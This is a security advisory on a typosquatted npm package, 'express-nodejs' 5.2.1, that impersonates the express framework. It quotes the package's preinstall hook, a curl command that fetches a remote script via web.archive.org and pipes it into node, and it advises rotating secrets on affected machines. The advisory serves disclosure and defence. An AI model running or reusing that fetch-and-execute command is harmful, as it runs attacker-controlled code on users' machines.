express-nodejs

GHSA-4qvj-qq37-mhw2

Malicious code in express-nodejs (npm)

Details

**Severity:** Critical

**Affected versions:** `= 5.2.1`

## Source: amazon-inspector (9aea7dd76028cd443cf2f8d58fa5d8b3b28bb6db870f34d1cc6dad28db92fe93)
[email protected] typosquats the express framework: package.json copies express's description, author (TJ Holowaychuk), repository (expressjs/express), and homepage while publishing under a different name. The package.json preinstall lifecycle hook runs `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`, piping a script fetched from an unrelated third-party Codeberg account (hellscripter/install-scripts) on a mutable branch, laundered through web.archive.org, directly into the node interpreter on the installer's host. This executes arbitrary attacker-controlled code at `npm install` time with no pinning, no integrity check, and no relationship to the express project. The fetched payload is mutable and its contents are not shipped in the tarball.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/ff0a031ac0542095162e57416d3112ec9b517f9e/osv/malicious/npm/express-nodejs/MAL-2026-17243.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/ff0a031ac0542095162e57416d3112ec9b517f9e/osv/malicious/npm/express-nodejs/MAL-2026-17243.json
- https://www.npmjs.com/package/express-nodejs/v/5.2.1
- https://github.com/ossf/malicious-packages/blob/d53c7e96cbe6a819c1c046bd6901f95d067d15dd/osv/malicious/npm/express-nodejs/MAL-2026-17243.json
- https://www.npmjs.com/package/express-nodejs
- https://github.com/ossf/malicious-packages/blob/0f170577c1b430bf090f13c3851498e809fd5b95/osv/malicious/npm/express-nodejs/MAL-2026-17243.json
- https://safedep.io/dirtyblanket-express-impersonation-npm
- https://github.com/ossf/malicious-packages/blob/7a1f1382a84618fabc1c45e8b61e9c9cea6ea33f/osv/malicious/npm/express-nodejs/MAL-2026-17243.json
- https://www.npmjs.com/package/express-nodejs/v/5.2.2

Compromised versions (1)

= 5.2.1

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.